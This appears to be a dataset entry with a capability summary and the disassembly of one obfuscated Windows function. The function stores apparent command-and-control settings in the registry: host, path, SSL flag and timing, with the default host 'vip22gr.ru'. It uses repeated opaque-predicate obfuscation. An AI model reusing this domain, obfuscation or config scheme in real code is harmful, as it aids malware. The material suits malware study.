Function at 0x1001148a
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x224
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1002d284], 0xa
setl al
or al, cl
push eax
mov esi, esp
push eax
mov edi, esp
push eax
mov edx, esp
push eax
mov ecx, esp
test al, al
je 0x100114b3
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], ecx
cmp dword [ebp + 8], 0
je 0x10011624
mov ebx, dword [ebp + 8]
mov esi, dword [ebx + 4]
test esi, esi
je 0x10011531
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
cmp dword [0x1002d284], 0xa
jl 0x10011527
mov ecx, dword [0x1002d280]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x10011527
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call edi
call edi
cmp dword [0x1002d284], 0xa
jl 0x10011527
mov ecx, dword [0x1002d280]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
jne 0x10011509
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [ebx + 8]
test esi, esi
je 0x10011586
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
cmp dword [0x1002d284], 0xa
jl 0x1001157c
mov ecx, dword [0x1002d280]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x1001157c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call edi
call edi
cmp dword [0x1002d284], 0xa
jl 0x1001157c
mov ecx, dword [0x1002d280]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
jne 0x1001155e
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10011624
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push dword [ebp - 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [0x1002d284], 0xa
jl 0x10011624
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x10011624
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edi, dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
call ebx
push edi
xor ecx, ecx
push ecx
push eax
call esi
call ebx
push edi
xor ecx, ecx
push ecx
push eax
call esi
cmp dword [0x1002d284], 0xa
jl 0x100115f9
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x100115ce
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push dword [ebp - 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [0x1002d284], 0xa
jl 0x10011624
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x100115ce
cmp dword [ebp + 0xc], 0
je 0x10011632
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov edx, str.HostC
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x100116a2
mov edi, dword [0x1002c988]
push str.Time
push edi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
cmp dword [0x1002d284], 0xa
mov edx, str.HostN
jl 0x100116a2
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x100116a2
mov ebx, str.Time
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push ebx
push edi
call esi
push ebx
push edi
call esi
cmp dword [0x1002d284], 0xa
jl 0x1001169a
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x10011679
mov ebx, dword [ebp + 8]
mov edx, str.HostN
mov edi, dword [ebp - 0x10]
mov dword [edi], 0x105
mov eax, dword [ebp - 0x18]
mov dword [eax], 1
lea esi, [ebp - 0x22e]
push edi
push esi
push eax
push 0
push edx
push dword [0x1002c988]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x100116e6
push str.vip22gr.ru
push 0x1002723a
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov dword [edi], eax
test ebx, ebx
je 0x100118e4
mov eax, dword [edi]
lea esi, [eax + eax]
add esi, 2
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, edi
mov esi, ebx
lea ebx, [ebp - 0x22e]
mov dword [esi + 4], eax
mov esi, ecx
mov ecx, dword [ecx]
add ecx, ecx
push ecx
push ebx
mov ebx, eax
push eax
call sub.NTDLL.dll_RtlMoveMemory
mov edi, esi
mov edx, dword [esi]
cmp dword [0x1002d284], 0xa
jl 0x1001175f
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1001175f
mov esi, dword [ebp + 8]
mov edi, ebx
mov dword [esi + 4], ebx
add edx, edx
push edx
lea ebx, [ebp - 0x22e]
push ebx
push edi
call sub.NTDLL.dll_RtlMoveMemory
mov eax, edi
mov ecx, dword [ebp - 0x10]
jmp 0x10011710
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x14], edx
mov dword [ebx], edx
xor eax, eax
push eax
push eax
push dword [ebx + 4]
call fcn.100177d2
add esp, 0xc
mov dword [ebx + 8], eax
cmp dword [0x1002d284], 0xa
mov edx, str.PathC
jl 0x100117e1
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x100117e1
mov edi, dword [ebp - 0x14]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebx], edi
push esi
push esi
push dword [ebx + 4]
call fcn.100177d2
add esp, 0xc
mov dword [ebx + 8], eax
mov dword [ebx], edi
push esi
push esi
push dword [ebx + 4]
call fcn.100177d2
add esp, 0xc
mov dword [ebx + 8], eax
cmp dword [0x1002d284], 0xa
jl 0x100117dc
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1001179c
mov edx, str.PathC
mov edi, dword [ebp - 0x10]
mov dword [edi], 0x105
mov eax, dword [ebp - 0x18]
mov dword [eax], 1
push edi
lea ebx, [ebp - 0x22e]
push ebx
push eax
push 0
push edx
push dword [0x1002c988]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x10011825
push str._framework_
push 0x1002723a
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov dword [edi], eax
cmp dword [ebp + 8], 0
je 0x1001198b
mov ebx, dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
lea esi, [eax + eax]
add esi, 2
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp dword [0x1002d284], 0xa
jl 0x100118bf
mov ecx, dword [0x1002d280]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x100118bf
mov eax, dword [ebx]
lea esi, [eax + eax]
add esi, 2
call edi
push esi
mov ecx, 8
push ecx
push eax
mov eax, dword [sym.imp.KERNEL32.dll_HeapAlloc]
call eax
mov eax, dword [ebx]
lea esi, [eax + eax]
add esi, 2
call edi
push esi
mov ecx, 8
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x1002d280]
lea eax, [ecx + 1]
imul eax, ecx
and eax, 1
cmp dword [0x1002d284], 0xa
jl 0x10011838
test eax, eax
jne 0x1001186d
jmp 0x10011838
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], eax
mov edi, dword [ebp - 0x10]
mov ecx, dword [edi]
add ecx, ecx
push ecx
lea ecx, [ebp - 0x22e]
push ecx
push eax
call sub.NTDLL.dll_RtlMoveMemory
mov esi, str.SSLC
jmp 0x10011a88
lea ebx, [ebp - 0x22e]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp dword [0x1002d284], 0xa
jl 0x10011b23
mov ecx, dword [0x1002d280]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x10011b23
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
je 0x1001196a
jmp 0x10011986
push ebx
call esi
cmp dword [0x1002d284], 0xa
jl 0x10011b23
mov ecx, dword [0x1002d280]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
jne 0x10011919
jmp 0x10011b23
push ebx
call esi
cmp dword [0x1002d284], 0xa
jl 0x10011925
mov ecx, dword [0x1002d280]
lea eax, [ecx + 1]
imul eax, ecx
and eax, 1
jne 0x10011919
jmp 0x10011925
push ebx
call esi
cmp dword [0x1002d284], 0xa
jl 0x1001194b
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1001194b
push ebx
call esi
jmp 0x1001196a
mov eax, dword [edi]
add eax, eax
add eax, 2
mov ecx, dword [0x1002c988]
mov dword [ebp - 0x14], eax
push eax
push ebx
push 1
push 0
push str.PathC
mov dword [ebp - 0x1c], ecx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp dword [0x1002d284], 0xa
jl 0x10011a20
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x10011a20
mov edi, dword [ebp - 0x14]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push edi
lea eax, [ebp - 0x22e]
push eax
xor eax, eax
inc eax
push eax
xor eax, eax
push eax
mov eax, str.PathC
push eax
push esi
call ebx
push edi
lea eax, [ebp - 0x22e]
push eax
xor eax, eax
inc eax
push eax
xor eax, eax
push eax
mov eax, str.PathC
push eax
push esi
call ebx
cmp dword [0x1002d284], 0xa
jl 0x10011a20
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
xor eax, eax
inc eax
and ecx, eax
jne 0x100119d5
push str.PathN
push dword [0x1002c988]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
cmp dword [0x1002d284], 0xa
mov esi, str.SSLN
jl 0x10011a85
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x10011a85
mov edi, str.PathN
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push edi
push dword [0x1002c988]
call ebx
push edi
push dword [0x1002c988]
call ebx
cmp dword [0x1002d284], 0xa
jl 0x10011a85
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x10011a5a
mov edi, dword [ebp - 0x10]
mov eax, 4
mov dword [edi], eax
mov edx, dword [ebp - 0x18]
mov dword [edx], eax
xor eax, eax
mov ecx, edi
mov edi, dword [ebp - 0x24]
mov dword [edi], eax
push ecx
push edi
push edx
push eax
push esi
push dword [0x1002c988]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov ebx, dword [ebp - 0x20]
je 0x10011abb
mov dword [edi], 0
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x10011bc0
mov eax, dword [edi]
mov dword [ecx + 0x10], eax
mov dword [ebx], 0xc
mov esi, 4
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push esi
push ebx
push esi
push 0
push str.Next
push dword [0x1002c988]
call edi
cmp dword [0x1002d284], 0xa
jl 0x1001162a
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1001162a
push esi
push ebx
push esi
push 0
push str.Next
push dword [0x1002c988]
call edi
jmp 0x10011adc
lea ecx, [eax + eax]
add ecx, 2
mov edi, ebx
mov edx, dword [0x1002c988]
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x1c], ecx
mov ebx, ecx
push ecx
push edi
push 1
push 0
push str.HostC
push edx
mov edi, eax
call eax
push str.HostN
push dword [0x1002c988]
call esi
cmp dword [0x1002d284], 0xa
mov edx, str.PathN
jl 0x100117e1
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x100117e1
push ebx
lea esi, [ebp - 0x22e]
push esi
push 1
push 0
push str.HostC
mov ebx, dword [ebp - 0x14]
push ebx
call edi
push str.HostN
push dword [0x1002c988]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
call esi
mov edx, ebx
mov ecx, dword [ebp - 0x1c]
mov eax, edi
lea edi, [ebp - 0x22e]
jmp 0x10011b42
mov eax, 4
push eax
push edi
push eax
push 0
push str.SSLC
push dword [0x1002c988]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, dword [0x1002c988]
push str.SSLN
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
cmp dword [0x1002d284], 0xa
jl 0x1001162a
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1001162a
mov edi, str.SSLN
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push edi
push esi
call ebx
push edi
push esi
call ebx
cmp dword [0x1002d284], 0xa
jl 0x10011c3a
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x10011c19
push str.SSLN
push esi
call ebx
cmp dword [0x1002d284], 0xa
jl 0x10011c5b
mov eax, dword [0x1002d280]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x10011c19
cmp dword [ebp + 8], 0
mov ebx, dword [ebp - 0x20]
jne 0x10011acb
jmp 0x1001162a